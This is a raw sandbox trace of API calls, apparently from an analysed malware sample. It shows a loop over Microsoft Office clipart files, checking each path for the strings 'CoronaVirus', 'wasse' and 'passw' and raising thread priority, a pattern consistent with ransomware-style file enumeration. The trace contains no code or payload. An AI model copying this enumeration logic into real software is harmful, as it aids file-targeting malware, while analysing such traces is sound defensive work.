	[0106.110] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01219_.gif") returned 68
	[0106.110] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01219_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.110] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01219_.gif", _SubStr="wasse") returned 0x0
	[0106.110] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01219_.gif", _SubStr="passw") returned 0x0
	[0106.110] SetThreadPriority (hThread=0x106c, nPriority=15) returned 1
	[0106.117] malloc (_Size=0x1000) returned 0x51f0070
	[0106.117] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01237_.gif") returned 68
	[0106.117] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01237_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.117] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01237_.gif", _SubStr="wasse") returned 0x0
	[0106.117] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01237_.gif", _SubStr="passw") returned 0x0
	[0106.120] SetThreadPriority (hThread=0x1070, nPriority=15) returned 1
	[0106.126] malloc (_Size=0x1000) returned 0x51f60a0
	[0106.126] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01238_.gif") returned 68
	[0106.126] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01238_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.126] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01238_.gif", _SubStr="wasse") returned 0x0
	[0106.126] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01238_.gif", _SubStr="passw") returned 0x0
	[0106.127] SetThreadPriority (hThread=0x1064, nPriority=15) returned 1
	[0106.132] malloc (_Size=0x1000) returned 0x51f0070
	[0106.132] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01239_.gif") returned 68
	[0106.132] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01239_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.132] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01239_.gif", _SubStr="wasse") returned 0x0
	[0106.132] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01239_.gif", _SubStr="passw") returned 0x0
	[0106.133] SetThreadPriority (hThread=0x1074, nPriority=15) returned 1
	[0106.137] malloc (_Size=0x1000) returned 0x51f90b8
	[0106.137] _swprintf (in: param_1=0x51f90b8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01240_.gif") returned 68
	[0106.137] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01240_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.137] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01240_.gif", _SubStr="wasse") returned 0x0
	[0106.137] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01240_.gif", _SubStr="passw") returned 0x0
	[0106.137] SetThreadPriority (hThread=0x107c, nPriority=15) returned 1
	[0106.143] malloc (_Size=0x1000) returned 0x51f5098
	[0106.143] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01241_.gif") returned 68
	[0106.144] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01241_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.144] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01241_.gif", _SubStr="wasse") returned 0x0
	[0106.144] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01241_.gif", _SubStr="passw") returned 0x0
	[0106.144] SetThreadPriority (hThread=0x1080, nPriority=15) returned 1
	[0106.162] malloc (_Size=0x1000) returned 0x51f3088
	[0106.162] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01242_.gif") returned 68
	[0106.162] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01242_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.162] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01242_.gif", _SubStr="wasse") returned 0x0
	[0106.162] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01242_.gif", _SubStr="passw") returned 0x0
	[0106.163] SetThreadPriority (hThread=0x1084, nPriority=15) returned 1
	[0106.169] malloc (_Size=0x1000) returned 0x51f80b0
	[0106.169] _swprintf (in: param_1=0x51f80b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01243_.gif") returned 68
	[0106.169] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01243_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.169] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01243_.gif", _SubStr="wasse") returned 0x0
	[0106.169] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01243_.gif", _SubStr="passw") returned 0x0
	[0106.169] SetThreadPriority (hThread=0x1088, nPriority=15) returned 1
	[0106.176] malloc (_Size=0x1000) returned 0x51f5098
	[0106.176] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01244_.gif") returned 68
	[0106.176] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01244_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.176] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01244_.gif", _SubStr="wasse") returned 0x0
	[0106.176] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01244_.gif", _SubStr="passw") returned 0x0
	[0106.177] SetThreadPriority (hThread=0x108c, nPriority=15) returned 1
	[0106.183] malloc (_Size=0x1000) returned 0x51f80b0
	[0106.183] _swprintf (in: param_1=0x51f80b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01245_.gif") returned 68
	[0106.183] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01245_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.183] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01245_.gif", _SubStr="wasse") returned 0x0
	[0106.184] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01245_.gif", _SubStr="passw") returned 0x0
	[0106.184] SetThreadPriority (hThread=0x1090, nPriority=15) returned 1
	[0106.187] malloc (_Size=0x1000) returned 0x51fa0c0
	[0106.187] _swprintf (in: param_1=0x51fa0c0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01246_.gif") returned 68
	[0106.187] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01246_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.187] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01246_.gif", _SubStr="wasse") returned 0x0
	[0106.187] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01246_.gif", _SubStr="passw") returned 0x0
	[0106.188] SetThreadPriority (hThread=0x1098, nPriority=15) returned 1
	[0106.194] malloc (_Size=0x1000) returned 0x51f5098
	[0106.194] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01253_.gif") returned 68
	[0106.194] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01253_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.194] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01253_.gif", _SubStr="wasse") returned 0x0
	[0106.194] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01253_.gif", _SubStr="passw") returned 0x0
	[0106.195] SetThreadPriority (hThread=0x109c, nPriority=15) returned 1
	[0106.197] malloc (_Size=0x1000) returned 0x51f60a0
	[0106.197] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01268_.gif") returned 68
	[0106.197] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01268_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.199] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01268_.gif", _SubStr="wasse") returned 0x0
	[0106.199] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01268_.gif", _SubStr="passw") returned 0x0
	[0106.267] SetThreadPriority (hThread=0x10a0, nPriority=15) returned 1
	[0106.273] malloc (_Size=0x1000) returned 0x51f90b8
	[0106.274] _swprintf (in: param_1=0x51f90b8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01292_.gif") returned 68
	[0106.274] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01292_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.274] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01292_.gif", _SubStr="wasse") returned 0x0
	[0106.274] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01292_.gif", _SubStr="passw") returned 0x0
	[0106.274] SetThreadPriority (hThread=0x10a4, nPriority=15) returned 1
	[0106.281] malloc (_Size=0x1000) returned 0x51f4090
	[0106.281] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01293_.gif") returned 68
	[0106.281] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01293_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.281] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01293_.gif", _SubStr="wasse") returned 0x0
	[0106.281] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01293_.gif", _SubStr="passw") returned 0x0
	[0106.281] SetThreadPriority (hThread=0x10a8, nPriority=15) returned 1
	[0106.285] malloc (_Size=0x1000) returned 0x51f5098
	[0106.285] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01294_.gif") returned 68
	[0106.285] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01294_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.285] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01294_.gif", _SubStr="wasse") returned 0x0
	[0106.285] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01294_.gif", _SubStr="passw") returned 0x0
	[0106.292] SetThreadPriority (hThread=0x10b0, nPriority=15) returned 1
	[0106.300] malloc (_Size=0x1000) returned 0x51f60a0
	[0106.300] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01295_.gif") returned 68
	[0106.300] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01295_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.300] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01295_.gif", _SubStr="wasse") returned 0x0
	[0106.300] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01295_.gif", _SubStr="passw") returned 0x0
	[0106.301] SetThreadPriority (hThread=0x10b4, nPriority=15) returned 1
	[0106.306] malloc (_Size=0x1000) returned 0x51f4090
	[0106.306] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01296_.gif") returned 68
	[0106.306] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01296_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.306] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01296_.gif", _SubStr="wasse") returned 0x0
	[0106.306] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01296_.gif", _SubStr="passw") returned 0x0
	[0106.307] SetThreadPriority (hThread=0x10ac, nPriority=15) returned 1
	[0106.316] malloc (_Size=0x1000) returned 0x51f90b8
	[0106.316] _swprintf (in: param_1=0x51f90b8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01297_.gif") returned 68
	[0106.316] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01297_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.316] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01297_.gif", _SubStr="wasse") returned 0x0
	[0106.316] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01297_.gif", _SubStr="passw") returned 0x0
	[0106.317] SetThreadPriority (hThread=0x10b8, nPriority=15) returned 1
	[0106.319] malloc (_Size=0x1000) returned 0x51f3088
	[0106.320] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01298_.gif") returned 68
	[0106.320] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01298_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.320] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01298_.gif", _SubStr="wasse") returned 0x0
	[0106.320] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01298_.gif", _SubStr="passw") returned 0x0
	[0106.323] SetThreadPriority (hThread=0x10bc, nPriority=15) returned 1
	[0106.332] malloc (_Size=0x1000) returned 0x51fa0c0
	[0106.332] _swprintf (in: param_1=0x51fa0c0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01299_.gif") returned 68
	[0106.332] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01299_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.332] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01299_.gif", _SubStr="wasse") returned 0x0
	[0106.332] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01299_.gif", _SubStr="passw") returned 0x0
	[0106.332] SetThreadPriority (hThread=0x10c0, nPriority=15) returned 1
	[0106.339] malloc (_Size=0x1000) returned 0x51f5098
	[0106.339] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01300_.gif") returned 68
	[0106.339] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01300_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.340] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01300_.gif", _SubStr="wasse") returned 0x0
	[0106.340] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01300_.gif", _SubStr="passw") returned 0x0
	[0106.340] SetThreadPriority (hThread=0x10c4, nPriority=15) returned 1
	[0106.347] malloc (_Size=0x1000) returned 0x51f90b8
	[0106.347] _swprintf (in: param_1=0x51f90b8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01301_.gif") returned 68
	[0106.347] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01301_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.347] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01301_.gif", _SubStr="wasse") returned 0x0
	[0106.348] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01301_.gif", _SubStr="passw") returned 0x0
	[0106.348] SetThreadPriority (hThread=0x10c8, nPriority=15) returned 1
	[0106.352] malloc (_Size=0x1000) returned 0x51f4090
	[0106.352] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01304G.gif") returned 68
	[0106.352] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01304G.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.352] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01304G.gif", _SubStr="wasse") returned 0x0
	[0106.352] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01304G.gif", _SubStr="passw") returned 0x0
	[0106.401] SetThreadPriority (hThread=0x1094, nPriority=15) returned 1
	[0106.403] malloc (_Size=0x1000) returned 0x51f0070
	[0106.403] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01330_.gif") returned 68
	[0106.403] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01330_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.406] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01330_.gif", _SubStr="wasse") returned 0x0
	[0106.406] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01330_.gif", _SubStr="passw") returned 0x0
	[0106.410] SetThreadPriority (hThread=0x1078, nPriority=15) returned 1
	[0106.416] malloc (_Size=0x1000) returned 0x51f3088
	[0106.416] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01734_.gif") returned 68
	[0106.416] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01734_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.416] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01734_.gif", _SubStr="wasse") returned 0x0
	[0106.416] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01734_.gif", _SubStr="passw") returned 0x0
	[0106.417] SetThreadPriority (hThread=0x10cc, nPriority=15) returned 1
	[0106.419] malloc (_Size=0x1000) returned 0x51f4090
	[0106.419] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01740_.gif") returned 68
	[0106.419] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01740_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.419] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01740_.gif", _SubStr="wasse") returned 0x0
	[0106.419] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01740_.gif", _SubStr="passw") returned 0x0
	[0106.467] SetThreadPriority (hThread=0x10d0, nPriority=15) returned 1
	[0106.475] malloc (_Size=0x1000) returned 0x51f4090
	[0106.475] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01742_.gif") returned 68
	[0106.475] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01742_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.475] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01742_.gif", _SubStr="wasse") returned 0x0
	[0106.475] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01742_.gif", _SubStr="passw") returned 0x0
	[0106.476] SetThreadPriority (hThread=0x10d4, nPriority=15) returned 1
	[0106.482] malloc (_Size=0x1000) returned 0x51f4090
	[0106.482] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01743_.gif") returned 68
	[0106.482] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01743_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.482] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01743_.gif", _SubStr="wasse") returned 0x0
	[0106.482] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01743_.gif", _SubStr="passw") returned 0x0
	[0106.483] SetThreadPriority (hThread=0x10d8, nPriority=15) returned 1
	[0106.485] malloc (_Size=0x1000) returned 0x51f3088
	[0106.485] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01744_.gif") returned 68
	[0106.485] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01744_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.487] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01744_.gif", _SubStr="wasse") returned 0x0
	[0106.487] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01744_.gif", _SubStr="passw") returned 0x0
	[0106.489] SetThreadPriority (hThread=0x10e0, nPriority=15) returned 1
	[0106.498] malloc (_Size=0x1000) returned 0x51f4090
	[0106.498] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01745_.gif") returned 68
	[0106.498] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01745_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.498] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01745_.gif", _SubStr="wasse") returned 0x0
	[0106.498] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01745_.gif", _SubStr="passw") returned 0x0
	[0106.499] SetThreadPriority (hThread=0x10e4, nPriority=15) returned 1
	[0106.501] malloc (_Size=0x1000) returned 0x51f5098
	[0106.501] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01746_.gif") returned 68
	[0106.502] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01746_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.502] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01746_.gif", _SubStr="wasse") returned 0x0
	[0106.503] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01746_.gif", _SubStr="passw") returned 0x0
	[0106.557] SetThreadPriority (hThread=0x10dc, nPriority=15) returned 1
	[0106.560] malloc (_Size=0x1000) returned 0x51f0070
	[0106.560] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01747_.gif") returned 68
	[0106.562] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01747_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.562] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01747_.gif", _SubStr="wasse") returned 0x0
	[0106.562] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01747_.gif", _SubStr="passw") returned 0x0
	[0106.565] SetThreadPriority (hThread=0x10e8, nPriority=15) returned 1
	[0106.567] malloc (_Size=0x1000) returned 0x51f80b0
	[0106.567] _swprintf (in: param_1=0x51f80b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01748_.gif") returned 68
	[0106.569] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01748_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.569] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01748_.gif", _SubStr="wasse") returned 0x0
	[0106.569] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01748_.gif", _SubStr="passw") returned 0x0
	[0106.572] SetThreadPriority (hThread=0x10ec, nPriority=15) returned 1
	[0106.574] malloc (_Size=0x1000) returned 0x51f4090
	[0106.574] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01749_.gif") returned 68
	[0106.576] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01749_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.576] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01749_.gif", _SubStr="wasse") returned 0x0
	[0106.576] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01749_.gif", _SubStr="passw") returned 0x0
	[0106.579] SetThreadPriority (hThread=0x10f0, nPriority=15) returned 1
	[0106.583] malloc (_Size=0x1000) returned 0x51f0070
	[0106.584] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01750_.gif") returned 68
	[0106.585] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01750_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.585] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01750_.gif", _SubStr="wasse") returned 0x0
	[0106.585] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01750_.gif", _SubStr="passw") returned 0x0
	[0106.589] SetThreadPriority (hThread=0x10f4, nPriority=15) returned 1
	[0106.591] malloc (_Size=0x1000) returned 0x51fa0c0
	[0106.591] _swprintf (in: param_1=0x51fa0c0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01751_.gif") returned 68
	[0106.593] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01751_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.593] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01751_.gif", _SubStr="wasse") returned 0x0
	[0106.593] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01751_.gif", _SubStr="passw") returned 0x0
